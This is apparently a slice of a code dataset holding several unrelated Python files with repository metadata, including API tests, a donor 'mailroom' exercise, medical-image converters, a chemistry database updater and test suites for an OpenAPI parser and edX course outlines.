app.run_server(host='10.0.68.111',debug=True,port=8081)","repo_name":"peilinja/A-medical-business-data-quality-check-web-tool","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12839,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"14664288288","text":"from models.file import File, FileSchema\nfrom models.directory import Directory, DirectorySchema\nfrom models.newfile import NewFile, NewFileSchema\nfrom models.updatefile import UpdateFile, UpdateFileSchema\nfrom models.error import Error, ErrorSchema\nimport requests\n\ndef test_root():\n r = requests.get(\"http://localhost:5000/api/\")\n assert r.status_code == 200\n assert r.text == \"\"\"{\"directories\":[{\"name\":\"testfolder\",\"owner\":5678,\"permissions\":\"drwxr-xr-x\",\"size\":4096},{\"name\":\"filedir\",\"owner\":5678,\"permissions\":\"drwxr-xr-x\",\"size\":4096}],\"files\":[{\"name\":\"testfile.txt\",\"owner\":5678,\"permissions\":\"-rwxr-xr-x\",\"size\":45}]}\n\"\"\"\n\ndef test_file():\n r = requests.get(\"http://localhost:5000/api/testfile.txt\")\n assert r.status_code == 200\n assert r.text == \"\"\"{\"contents\":\"hi, this is a test file\\\\ntesting 1...2...3...\",\"name\":\"testfile.txt\",\"owner\":5678,\"permissions\":\"-rwxr-xr-x\",\"size\":45}\n\"\"\"\n\ndef test_multiple_directories():\n r = requests.get(\"http://localhost:5000/api/testfolder\")\n assert r.status_code == 200\n assert r.text == \"\"\"{\"directories\":[{\"name\":\"pulvinar\",\"owner\":5678,\"permissions\":\"drwxr-xr-x\",\"size\":4096},{\"name\":\"loremipsum\",\"owner\":5678,\"permissions\":\"drwxr-xr-x\",\"size\":4096}],\"files\":[{\"name\":\"testfile2.txt\",\"owner\":5678,\"permissions\":\"-rwxr-xr-x\",\"size\":32}]}\n\"\"\"\n\ndef test_multiple_files():\n r = requests.get(\"http://localhost:5000/api/testfolder/loremipsum\")\n assert r.status_code == 200\n assert r.text == \"\"\"{\"directories\":[],\"files\":[{\"name\":\"lorem2.txt\",\"owner\":5678,\"permissions\":\"-rwxr-xr-x\",\"size\":714},{\"name\":\"lorem.txt\",\"owner\":5678,\"permissions\":\"-rwxr-xr-x\",\"size\":451}]}\n\"\"\"\n\ndef test_post_file():\n nf_schema = NewFileSchema()\n r = requests.post(\"http://localhost:5000/api/test.txt\", data = nf_schema.dump(NewFile(0, \"-rwxr-xr-x\", \"test file\")))\n print(nf_schema.dump(NewFile(0, \"-rwxr-xr-x\", \"test file\")))\n assert r.status_code == 200\n \ndef test_put_file():\n uf_schema = UpdateFileSchema()\n r = requests.put(\"http://localhost:5000/api/test.txt\", data = uf_schema.dump(UpdateFile(\"test2.txt\", 0, \"-rwxr-xr-x\", \"test file 123\")))\n assert r.status_code == 200\n\ndef test_delete_file():\n r = requests.delete(\"http://localhost:5000/api/test2.txt\")\n assert r.status_code == 200","repo_name":"Asera286/file-path-api","sub_path":"tests/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"107022420","text":"#!/usr/bin/env python \"\"\"\nimport sys\nimport tempfile\nimport os\n\nfrom datetime import date\ntoday = date.today()\n\n\"\"\"Mailroom Part 2\"\"\"\n\"\"\" Updates from Part 1\n1. Ask user for temp folder to write notes\n2. New option to send cards to all users\n3. Tech revision: using dictionary\n\"\"\"\n\n\n# Prompt user to choose from menu of 4 actions:\n# Send a Thank You, Create a Report, Send thanks to all donors or quit.\n\ndonor_db = {\"Cher\": [1000.00, 245.00],\n \"Drew Barrymore\": [25000.00],\n \"Charlie Brown\": [25.00, 50.01, 100.00],\n \"Jack Black\": [256.00, 752.50, 10101.00],\n \"Sam Smith\": [5500.00, 24.00],\n }\n\ndefault_folder = \"thank_you_cards\"\n\n\ndef sort_key(donors):\n # sort by total donations\n return sum(donors[1])\n\n\ndef list_donors(donors):\n print(f'\\nNumber of Donors found: {len(donors)}\\n\\n')\n for donor, donations in donors.items():\n print(f'\\t{donor}')\n\n print('\\n')\n return (donors)\n\n\ndef add_donation(donors, donator):\n \"\"\" Add donation to donor\n \"\"\"\n prompt = \"Please enter an amount to donate >\"\n donation = input(prompt)\n donation = float(donation)\n donors[donator] = donors[donator] + [donation]\n\n return donation\n\n\ndef create_card(donator, amount, fldr):\n \"\"\"\n Create thank you note for passed user\n \"\"\"\n\n donation_dict = {}\n donation_dict['name'] = donator\n donation_dict['donation'] = float(amount)\n\n ty_text = 'Dear {name},\\\n \\n\\n\\tThank you for your very kind donation of ${donation:,.2f}.\\\n \\n\\n\\tIt will be put to very good use.\\n\\n\\t\\t\\tSincerely,\\\n \\n\\t\\t\\t -The Team'.format(**donation_dict)\n\n file_name = donation_dict['name'].replace(' ', '_') + '.txt'\n file_path = os.path.join(fldr, file_name)\n\n with open(file_path, 'w+') as f:\n f.write(ty_text)\n\n print(f\"\\n** Thank you note to {donation_dict['name']} for ${donation_dict['donation']:,.2f} written to {write_path}. **\\n\")\n\n return True\n\n\ndef send_ty(donors):\n ''' Send thank you to selected donor '''\n\n donation = []\n\n prompt = \"\\n\".join((\"Enter Full name of donor\",\n \" or Enter list to show current donors:\",\n \" Please enter donor name:\"\n \" > \"))\n response = input(prompt)\n response = response.title()\n\n if response.lower() == 'list':\n list_donors(donors)\n elif response in donors:\n donation = add_donation(donors, response)\n create_card(response, donation, write_path)\n else:\n donors[response] = []\n donation = add_donation(donors, response)\n create_card(response, donation, write_path)\n\n return donors\n\n\ndef create_report(donors):\n \"\"\"\n Print formatted report of donors and donations\n Sort report by total donations\n \"\"\"\n\n print(\"\\n** You've selected to create a report. **\\n\")\n col1 = 'Donor Name'\n col2 = 'Total Given'\n col3 = 'Num Gifts'\n col4 = 'Average Gift'\n print(f'{col1:25} | {col2:13} | {col3:11} | {col4:13}')\n print('-'*70)\n\n donors = dict(sorted(donors.items(), key=sort_key, reverse=True))\n for donor, donations in donors.items():\n count = len(donations)\n total = sum(donations)\n avg = total/count\n print(f'{donor:25} ${total:13,.2f} {count:11} ${avg:12,.2f}')\n \n print(\"\\n** Thank you! **\\n\")\n return\n\n\ndef ask_for_folder():\n global user_folder\n\n text = \"\\n\".join((\"\\n\\n\\nEnter folder Name or hit enter for default\",\n \" >\"))\n prompt = input(text)\n\n if prompt:\n user_folder = prompt.replace(\" \", \"_\")\n else:\n user_folder = default_folder\n\n temp_path = tempfile.gettempdir()\n folder_name = user_folder + '_' + today.strftime(\"%b_%d_%Y\")\n\n folder_path = os.path.join(temp_path, folder_name)\n\n if not os.path.exists(folder_path):\n os.makedirs(folder_path)\n\n return folder_path\n\n\ndef send_all_ty(donors):\n '''\n Create cards for all donor in dictionary\n '''\n \n for donor, donations in donors.items():\n donation_current = donations[-1]\n create_card(donor, donation_current, write_path)\n return donors\n\n\ndef exit_program(donors):\n print('Thank you')\n sys.exit()\n\n\ndef get_selection():\n\n prompt = \"\\n\".join((\"** Please Select Valid Option Listed: **\",\n \" 1: Send a Thank You\",\n \" 2: Create a Report\",\n \" 3: Thanks to All Donors\",\n \" 4: Quit\",\n f\" (Folder: {user_folder})\",\n \" Please enter your choice:\"\n \" > \"))\n\n response = input(prompt)\n \n return response\n\n\nif __name__ == '__main__':\n\n response = ''\n write_path = ask_for_folder() \n\n switch_func_dict = {\n '1': send_ty,\n '2': create_report,\n '3': send_all_ty,\n '4': exit_program\n }\n\n while True:\n response = get_selection()\n if response in switch_func_dict:\n switch_func_dict.get(response, \"nothing\")(donor_db)\n else:\n print(\"Please enter valid option\")\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/becky_larson/lesson04/Mailroom_Part2.py","file_name":"Mailroom_Part2.py","file_ext":"py","file_size_in_byte":5179,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"} +{"seq_id":"43762666488","text":"import subprocess\nimport sys\n\n\ndef run(command_data):\n shell = is_windows_platform() # windows needs shell = True to work\n # correctly, linux require False\n command_array = command_data.command.split(\" \")\n input_string = \"\"\n if command_data.input is not None:\n input_string = \"\".join(command_data.input)\n return subprocess.run(command_array, stdout=subprocess.PIPE,\n shell=shell, stderr=subprocess.PIPE,\n input=input_string.encode())\n\n\ndef is_windows_platform():\n return sys.platform.__contains__(\"win\")\n","repo_name":"green-fox-academy/bkorbuly","sub_path":"exercise-validator-cli-phoenix/gf/verify/subprocess_adapter.py","file_name":"subprocess_adapter.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"3055746621","text":"# -*- coding: utf-8 -*-\n# UTF-8 encoding when using korean\n\nA = [1, 2, 3, 4, 5, 6, 73, 8, 10, 54] #리스트의 정수값들을 바꾸세요.\nodd = 0\neven = 0\n\nfor i in A:\n if i % 2 == 0: \n even = even + 1 \n elif i % 2 == 1: \n odd = odd + 1 \nprint (odd, even)\n","repo_name":"oonju5031/HUFS_2019-1st_Introduction-to-Comupter-and-Lab","sub_path":"5_1_조건문 연습/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"25873216926","text":"import numpy as np\nimport cv2\nimport easyocr\nimport glob\nimport os\nimport re\n\n\ndef addScale(minTemp, maxTemp, scaleStep, IMAGE_PATH):\n #Добавляет на изображение шкалу с scaleSize линиями и возвращает новое изображение\n img = cv2.imread(IMAGE_PATH)\n\n #add white bord\n img = cv2.copyMakeBorder(\n img, 0, 0, 0, 35, cv2.BORDER_CONSTANT, value=[255, 255, 255])\n\n # scaleStep = (maxTemp - minTemp)/scaleSize\n scaleSize = int((maxTemp - minTemp)//scaleStep + (maxTemp - minTemp)%scaleStep)\n h, w = img.shape[:2]\n font = cv2.FONT_HERSHEY_PLAIN\n\n for i in range(1, scaleSize):\n img = cv2.line(img,(0, h//scaleSize*i), (w - 15 - 15 * (i % 2) , h//scaleSize*i), (0,0,0),1)\n\n for i in range(1, scaleSize + 1):\n # cv2.putText(img, str(maxTemp-scaleStep*i)[0:4], (15, abs(h//scaleSize*i - h//scaleSize//2) + i * scaleSize), font, 0.7, (0, 0, 0), 1, cv2.LINE_AA)\n cv2.putText(img, str(maxTemp-scaleStep*i)[0:4], (13, h//scaleSize*i - 2), font, 0.7, (0, 0, 0), 1, cv2.LINE_AA)\n\n cv2.putText(img, 'C', (35, 14), font, 1, (0, 0, 0), 1, cv2.LINE_AA)\n cv2.putText(img, 'o', (29, 8), font, 0.7, (0, 0, 0), 1, cv2.LINE_AA)\n\n # for i in range(0, scaleSize + 1):\n # # img_mof = cv2.line(img,(0,0),(w, h),(0,0,255),1)\n # img = cv2.line(img,(10, abs(h//scaleSize*i - 1)), (w, abs(h//scaleSize*i - 1)), (0,0,0),1)\n # cv2.putText(img, str(minTemp+scaleStep*i), (15, abs(h//scaleSize*i - 3)), font, 1, (0, 0, 0), 1, cv2.LINE_AA)\n\n return img\n\ndef cutTermogramm (IMAGE_PATH):\n img = cv2.imread(IMAGE_PATH)\n height, width = img.shape[:2]\n tempBar = img[0:height, 0:width//24]\n thermoImg = img[0:height, width//6:width]\n\n return tempBar, thermoImg\n\ndef resizeImage(IMAGE_PATH, maxHeigh):\n img = cv2.imread(IMAGE_PATH)\n h, w = img.shape[:2]\n img = cv2.resize(img, (int(maxHeigh * w / h), maxHeigh))\n return img\n\ndef cleanImage (img):\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n se = cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5))\n bg = cv2.morphologyEx(img, cv2.MORPH_DILATE, se)\n out_gray = cv2.divide(img, bg, scale=255)\n # return img\n return img\n\ndef readTempFromImage (IMAGE_PATH):\n reader = easyocr.Reader(['en'], gpu=True)\n result = reader.readtext(IMAGE_PATH)\n tempFromImage = [int(re.findall('\\d\\d', row[1])[0]) for row in result if re.search('\\d\\d+', row[1])]\n if len(tempFromImage) == 1:\n return tempFromImage[0]\n else:\n return None\n\ndef FindMinMaxTemp (img):\n height, width, sheet = img.shape\n img_topLeft = img[0:35, 35:80]\n img_botLeft = img[height - 35:height, 35:80]\n\n img_topLeft = cleanImage(img_topLeft)\n img_botLeft = cleanImage(img_botLeft)\n\n cv2.imwrite(r'TempFiles/topLeft.jpg', img_topLeft)\n cv2.imwrite(r'TempFiles/botLeft.jpg', img_botLeft)\n\n minT = readTempFromImage(r'TempFiles/topLeft.jpg')\n maxT = readTempFromImage(r'TempFiles/botLeft.jpg')\n\n return minT, maxT\n\ndef MinMaxTempExe (IMAGE_PATH):\n print(IMAGE_PATH.split('\\\\')[len(IMAGE_PATH.split('\\\\')) - 1])\n\n img = cv2.imread(IMAGE_PATH)\n\n minT, maxT = FindMinMaxTemp(img)\n\n for i in range(0, 4):\n if minT is None or maxT is None:\n img = np.rot90(img)\n minT, maxT = FindMinMaxTemp(img)\n\n h, w = img.shape[:2]\n if (minT is None or maxT is None) and h < w:\n img = np.rot90(img)\n cv2.imwrite(IMAGE_PATH, img)\n\n print(minT, maxT)\n\n return minT, maxT\n\ndef CutBar(fragmentsAmount, IMAGE_PATH):\n files = glob.glob('TempFiles/BarFragments//*')\n for f in files:\n os.remove(f)\n if fragmentsAmount < 1:\n return\n img = cv2.imread(IMAGE_PATH)\n height, width, sheet = img.shape\n fragmentHeight = height / fragmentsAmount\n for i in range(0, fragmentsAmount):\n start = int(fragmentHeight * i)\n end = int(fragmentHeight + fragmentHeight * i)\n\n barFragment = img[start: end, 0:width]\n cv2.imwrite('TempFiles/BarFragments/fragment_' + str(i) + '.jpg', barFragment)\n#\n# img = addScale(10, 'ImageData\\\\default_bar.jpg', 600)\n# cv2.imshow(\"Line\",img)\n#\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n# #\n","repo_name":"tombracho/thermo-field","sub_path":"image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"19456162857","text":"from __future__ import division\nfrom pylab import *\n\ndef heronStep(y, x):\n \"\"\"Perform one step of Heron's method for sqrt(y) with guess x.\"\"\"\n return 0.5*(x + y/x)\n\ndef heronArray(y, x0, n):\n \"\"\"Perform n steps of Heron's method for sqrt(y) with initial guess x0.\n Return the array of successive approximations [x0, x1, ..., xn].\"\"\"\n x = zeros(n+1)\n x[0] = x0\n for k in range(n):\n x[k+1] = heronStep(y, x[k])\n return x\n\ndef cosArray(x0, n):\n x = zeros(n+1)\n x[0] = x0\n for k in range(n):\n x[k+1] = cos(x[k])\n return x\n\ndef plotLogError(y, x0, n):\n \"\"\"Plot the log absolute error of Heron's method.\"\"\"\n x = heronArray(y, x0, n) # Heron's method approximations for sqrt(y)\n e = x - sqrt(y) # error\n semilogy(abs(e)) # plot abs(e) using a log scale for the y-axis\n","repo_name":"startupjing/MathTools","sub_path":"heronMethod.py","file_name":"heronMethod.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"1464334580","text":"#!/usr/bin/python -tt\n\nfrom pymongo import MongoClient\n\nfrom pymongo.errors import CursorNotFound\nimport re\n\nfrom time import sleep\n\n\n\n\n\ndef main():\n\n source_pretty_names = { \"bitterdb\":\"BitterDB\",\n \"carotenoids\":\"Carotenoids Database\",\n \"chebi_np\": \"ChEBI\",\n \"chebinp\": \"ChEBI\",\n \"chembl_np\": \"ChEMBL\",\n \"chemblnp\": \"ChEMBL\",\n \"cmaup\": \"CMAUP\",\n \"pubchem_tested_np\": \"PubChem\",\n \"pubchemnp\": \"PubChem\",\n \"drugbanknp\": \"DrugBank\",\n \"chemspidernp\": \"ChemSpider\",\n \"np_atlas_2019_12\": \"NPAtlas\",\n \"npatlas\": \"NPAtlas\",\n \"exposome-explorer\": \"Exposome Explorer\",\n \"fooddb\": \"FooDB\",\n \"knapsack\": \"KnapSack\",\n \"npass\": \"NPASS\",\n \"nubbe\": \"NuBBE\",\n \"phenolexplorer\": \"Phenol Explorer\",\n \"sancdb\": \"SANCDB\",\n \"supernatural2\": \"SuperNatural 2\",\n \"tcmdb_taiwan\": \"TCMDB@Taiwan\",\n \"tppt\": \"TPPT\",\n \"vietherb\": \"VietHerb\",\n \"streptomedb\": \"StreptomeDB\"\n }\n\n pretty_list = [ \"BitterDB\", \"Carotenoids Database\", \"ChEBI\", \"ChEMBL\", \"CMAUP\", \"PubChem\", \"DrugBank\", \"ChemSpider\", \"NPAtlas\" , \"Exposome Explorer\", \"FooDB\", \"KnapSack\", \"NPASS\", \"NuBBE\",\"Phenol Explorer\", \"SANCDB\", \"SuperNatural 2\", \"TCMDB@Taiwan\", \"TPPT\", \"VietHerb\",\"StreptomeDB\"]\n\n\n client = MongoClient(\"localhost:27018\")\n db = client['COCONUT2020-07']\n\n # for each np in the database, check correct cross-link to other ressources\n\n aggregate =[ { '$project':{ '_id':0, 'coconut_id':1 }}]\n\n np_ids = db.uniqueNaturalProduct.aggregate(aggregate)\n #print(np_ids['coconut_id'])\n\n print(\"retrieved all coconut ids\")\n #print(np_ids)\n\n client = MongoClient(\"localhost:27018\")\n db = client['COCONUT2020-07']\n\n\n print(\"verifying Xlinks for each molecule\")\n try:\n for r in np_ids:\n\n coconut_id = r['coconut_id']\n\n np = db.uniqueNaturalProduct.find({\"coconut_id\": coconut_id})\n np = np[0]\n\n if \"xrefs\" in np.keys() and \"clean_xrefs\" not in np.keys():\n\n for xref in np[\"xrefs\"]:\n\n #db.uniqueNaturalProduct.update_one({'coconut_id': coconut_id}, {\"$pull\": {\"xrefs\": xref}})\n\n if len(xref) == 3:\n print(coconut_id)\n\n if xref[0] in source_pretty_names.keys():\n print(xref[0])\n\n\n clean_xref = {\"source\": source_pretty_names[xref[0]], \"id_in_source\": xref[1], \"link_to_source\": xref[2]}\n\n db.uniqueNaturalProduct.update_one({'coconut_id': coconut_id}, {\"$push\": {\"clean_xrefs\": clean_xref}})\n\n print(clean_xref)\n\n\n #sleep(0.05)\n\n except CursorNotFound:\n pass\n\n\n\n\n\n\n client.close()\n print(\"done\")\n\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"mSorok/COCONUT","sub_path":"UpdateCOCONUT/VerifyXlinks.py","file_name":"VerifyXlinks.py","file_ext":"py","file_size_in_byte":3381,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"35"} +{"seq_id":"19442008078","text":"\nimport asyncio\nimport loguru\nfrom motor import motor_asyncio\nfrom datetime import datetime\n\nfrom pycoinglass import API\n\nasync def main(args):\n logger = loguru.logger\n logger.add(args.log, rotation=\"10MB\", retention=3)\n\n mongo = motor_asyncio.AsyncIOMotorClient()\n db = mongo[args.db]\n collection = db[args.collection + \".\" + args.symbol + \".\" + args.perp_or_future]\n\n api = API(args.api_key)\n\n while True:\n df = api.margin_market_capture(args.symbol, perp_or_future=args.perp_or_future)\n d = df.to_dict('list')\n d['created_at'] = datetime.utcnow()\n logger.info(d)\n await collection.insert_one(d)\n await asyncio.sleep(args.interval)\n\nif __name__ == '__main__':\n from argparse import ArgumentParser\n parser = ArgumentParser()\n parser.add_argument(\"--interval\", default=15)\n parser.add_argument(\"--db\", default=\"coinglass\")\n parser.add_argument(\"--collection\", default=\"margin_market_capture\")\n parser.add_argument(\"--symbol\", default=\"BTC\")\n parser.add_argument(\"--perp_or_future\", default=\"future\", choices=[\"perp\", \"future\"])\n parser.add_argument(\"--log\", default=\"margin_market_capture.log\")\n parser.add_argument(\"--api_key\", default=None)\n args = parser.parse_args()\n asyncio.run(main(args))\n","repo_name":"ko0hi/pycoinglass","sub_path":"sample/mongo_margin_market_capture.py","file_name":"mongo_margin_market_capture.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35007811324","text":"# -*- coding: utf-8 -*-\n# @Author: panc25\n# @Date: 2017-11-23 13:03:04\n# @Last Modified by: Pan Chao\n# @Last Modified time: 2017-11-23 13:03:23\n\nimport logging\n\n# Create logger\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nhandler = logging.FileHandler('sh_fzb.log')\nhandler.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)","repo_name":"pancodia/PythonCodeSnippets","sub_path":"logging/create_logger.py","file_name":"create_logger.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"10733515060","text":"import SimpleITK as sitk\nimport os\nimport os.path as osp\nimport pydicom\nimport numpy as np\nimport scipy.io\n\n\ndef NiiDataRead(path, as_type=np.float32):\n nii = sitk.ReadImage(path)\n spacing = nii.GetSpacing() # [x,y,z]\n volumn = sitk.GetArrayFromImage(nii) # [z,y,x]\n origin = nii.GetOrigin()\n direction = nii.GetDirection()\n\n spacing_x = spacing[0]\n spacing_y = spacing[1]\n spacing_z = spacing[2]\n\n spacing_ = np.array([spacing_z, spacing_y, spacing_x])\n return volumn.astype(as_type), spacing_.astype(np.float32), origin, direction\n\n\ndef NiiDataWrite(save_path, volumn, spacing, origin, direction, as_type=np.float32):\n spacing = spacing.astype(np.float64)\n raw = sitk.GetImageFromArray(volumn[:, :, :].astype(as_type))\n spacing_ = (spacing[2], spacing[1], spacing[0])\n raw.SetSpacing(spacing_)\n raw.SetOrigin(origin)\n raw.SetDirection(direction)\n sitk.WriteImage(raw, save_path)\n\n\ndef N4BiasFieldCorrection(volumn_path, save_path): # ,mask_path,save_path):\n img = sitk.ReadImage(volumn_path)\n # mask,_ = sitk.ReadImage(mask_path)\n mask = sitk.OtsuThreshold(img, 0, 1, 200)\n inputVolumn = sitk.Cast(img, sitk.sitkFloat32)\n corrector = sitk.N4BiasFieldCorrectionImageFilter()\n sitk.WriteImage(corrector.Execute(inputVolumn, mask), save_path)\n\n\ndef dcm2nii(DCM_DIR, OUT_PATH):\n \"\"\"\n\n :param DCM_DIR: Input folder set to be converted.\n :param OUT_PATH: Output file suffixed with .nii.gz . *(Relative path)\n :return: No retuen.\n \"\"\"\n fuse_list = []\n for dicom_file in os.listdir(DCM_DIR):\n dicom = pydicom.dcmread(osp.join(DCM_DIR, dicom_file))\n fuse_list.append([dicom.pixel_array, float(dicom.SliceLocation)])\n # 按照每层位置(Z轴方向)由小到大排序\n fuse_list.sort(key=lambda x: x[1])\n volume_list = [i[0] for i in fuse_list]\n volume = np.array(volume_list).astype(np.float32) - 1024\n [spacing_x, spacing_y] = dicom.PixelSpacing\n spacing = np.array([dicom.SliceThickness, spacing_x, spacing_y])\n NiiDataWrite(OUT_PATH, volume, spacing)\n\n\ndef nii2mat(in_path, out_dir=None):\n volume, spacing = NiiDataRead(in_path)\n if out_dir is None: # save in same dir\n out_path = in_path.split('.')[0] + '.mat'\n else: # save in specific dir\n out_path = osp.join(out_dir, osp.split(in_path)[-1].split('.')[0] + '.mat')\n scipy.io.savemat(out_path, {'volume': volume, 'spacing': spacing})\n print(f'Saved at {out_path}')\n\n\ndef mat2nii(in_path, out_dir=None):\n mat_contents = scipy.io.loadmat(in_path)\n if out_dir is None: # save in same dir\n out_path = in_path.split('.')[0] + '.nii.gz'\n else: # save in specific dir\n out_path = osp.join(out_dir, osp.split(in_path)[-1].split('.')[0] + '.nii.gz')\n NiiDataWrite(out_path, mat_contents['output'], mat_contents['spacing'][0])\n print(f'Saved at {out_path}')\n\n","repo_name":"SMU-MedicalVision/MTT-Net","sub_path":"util/Nii_utils.py","file_name":"Nii_utils.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"38527329401","text":"from VecFunction import *\nfrom decorators import *\nimport numpy as np\n\n@vec\ndef stencil(In, Out):\n for i in range(0,1023):\n for j in range(0,1023):\n Out[1*i+0][1*j+0] = (In[1*i+1][1*j] + In[1*i-1][1*j] + In[1*i][1*j+1] + In[1*i][1*j-1])*0.25\n\nIn = np.array(np.random.rand(1024,1024), dtype=np.float32);\nOut = np.array(np.random.rand(1024,1024), dtype=np.float32);\n\nstencil(In,Out)\n\n","repo_name":"zhaoyan1117/TFJ","sub_path":"python_compile/stencil.py","file_name":"stencil.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"21604076753","text":"import pytest\n\nfrom openapi_parser.builders.schema import SchemaFactory\nfrom openapi_parser.enumeration import IntegerFormat\nfrom openapi_parser.specification import DataType, Integer, AnyOf, String, StringFormat, Array, Number, Boolean, Object, Property\n\nstring_schema = String(type=DataType.STRING)\nnumber_schema = Number(type=DataType.NUMBER)\n\ndata_provider = (\n (\n {\n \"anyOf\": [\n {\n \"type\": \"string\",\n \"maxLength\": 1,\n \"minLength\": 0,\n \"pattern\": \"[0-9]\",\n \"format\": \"uuid\",\n },\n {\n \"type\": \"integer\",\n \"format\": \"int32\",\n }\n ],\n },\n AnyOf(\n type=DataType.ANY_OF,\n schemas=[\n String(\n type=DataType.STRING,\n max_length=1,\n min_length=0,\n pattern=\"[0-9]\",\n format=StringFormat.UUID,\n ),\n Integer(\n type=DataType.INTEGER,\n format=IntegerFormat.INT32,\n ),\n ]\n )\n ),\n (\n {\n \"description\": \"Can be any type - string, number, integer, boolean, object and array\"\n },\n AnyOf(\n type=DataType.ANY_OF,\n schemas=[\n Integer(type=DataType.INTEGER, description=\"Can be any type - string, number, integer, boolean, object and array\",),\n Number(type=DataType.NUMBER, description=\"Can be any type - string, number, integer, boolean, object and array\",),\n String(type=DataType.STRING, description=\"Can be any type - string, number, integer, boolean, object and array\",),\n Boolean(type=DataType.BOOLEAN, description=\"Can be any type - string, number, integer, boolean, object and array\",),\n Array(type=DataType.ARRAY, description=\"Can be any type - string, number, integer, boolean, object and array\",),\n Object(type=DataType.OBJECT, properties=[], description=\"Can be any type - string, number, integer, boolean, object and array\",)\n ]\n )\n ),\n (\n {\n \"description\": \"Array with implicit type.\",\n \"items\": {\"type\": \"string\"}\n },\n AnyOf(\n type=DataType.ANY_OF,\n schemas=[\n Integer(type=DataType.INTEGER, description=\"Array with implicit type.\"),\n Number(type=DataType.NUMBER, description=\"Array with implicit type.\"),\n String(type=DataType.STRING, description=\"Array with implicit type.\"),\n Boolean(type=DataType.BOOLEAN, description=\"Array with implicit type.\"),\n Array(type=DataType.ARRAY, items=string_schema, description=\"Array with implicit type.\"),\n Object(type=DataType.OBJECT, properties=[], description=\"Array with implicit type.\"),\n ]\n )\n ),\n (\n {\n \"description\": \"Object with implicit type.\",\n \"properties\": {\n \"property1\": {\"type\": \"string\"},\n \"property2\": {\"type\": \"number\"}\n }\n },\n AnyOf(\n type=DataType.ANY_OF,\n schemas=[\n Integer(type=DataType.INTEGER, description=\"Object with implicit type.\"),\n Number(type=DataType.NUMBER, description=\"Object with implicit type.\"),\n String(type=DataType.STRING, description=\"Object with implicit type.\"),\n Boolean(type=DataType.BOOLEAN, description=\"Object with implicit type.\"),\n Array(type=DataType.ARRAY, description=\"Object with implicit type.\"),\n Object(\n type=DataType.OBJECT,\n properties=[Property(\"property1\", string_schema), Property(\"property2\", number_schema)],\n description=\"Object with implicit type.\"\n ),\n ]\n )\n )\n)\n\n\n@pytest.mark.parametrize(['data', 'expected'], data_provider)\ndef test_string_builder(data: dict, expected: String):\n factory = SchemaFactory()\n assert expected == factory.create(data)\n","repo_name":"manchenkoff/openapi3-parser","sub_path":"tests/builders/schema/test_anyof.py","file_name":"test_anyof.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"35"} +{"seq_id":"22278378936","text":"\"\"\"\nTests for the Course Outline view and supporting views.\n\"\"\"\nimport datetime\nimport ddt\nimport json\nfrom markupsafe import escape\nfrom unittest import skip\n\nfrom django.core.urlresolvers import reverse\nfrom pyquery import PyQuery as pq\n\nfrom courseware.tests.factories import StaffFactory\nfrom student.models import CourseEnrollment\nfrom student.tests.factories import UserFactory\nfrom xmodule.modulestore import ModuleStoreEnum\nfrom xmodule.modulestore.tests.django_utils import SharedModuleStoreTestCase\nfrom xmodule.modulestore.tests.factories import CourseFactory, ItemFactory\nfrom xmodule.course_module import DEFAULT_START_DATE\n\nfrom .test_course_home import course_home_url\n\nTEST_PASSWORD = 'test'\nFUTURE_DAY = datetime.datetime.now() + datetime.timedelta(days=30)\nPAST_DAY = datetime.datetime.now() - datetime.timedelta(days=30)\n\n\nclass TestCourseOutlinePage(SharedModuleStoreTestCase):\n \"\"\"\n Test the course outline view.\n \"\"\"\n @classmethod\n def setUpClass(cls):\n \"\"\"\n Set up an array of various courses to be tested.\n \"\"\"\n # setUpClassAndTestData() already calls setUpClass on SharedModuleStoreTestCase\n # pylint: disable=super-method-not-called\n with super(TestCourseOutlinePage, cls).setUpClassAndTestData():\n cls.courses = []\n course = CourseFactory.create()\n with cls.store.bulk_operations(course.id):\n chapter = ItemFactory.create(category='chapter', parent_location=course.location)\n sequential = ItemFactory.create(category='sequential', parent_location=chapter.location)\n vertical = ItemFactory.create(category='vertical', parent_location=sequential.location)\n course.children = [chapter]\n chapter.children = [sequential]\n sequential.children = [vertical]\n cls.courses.append(course)\n\n course = CourseFactory.create()\n with cls.store.bulk_operations(course.id):\n chapter = ItemFactory.create(category='chapter', parent_location=course.location)\n sequential = ItemFactory.create(category='sequential', parent_location=chapter.location)\n 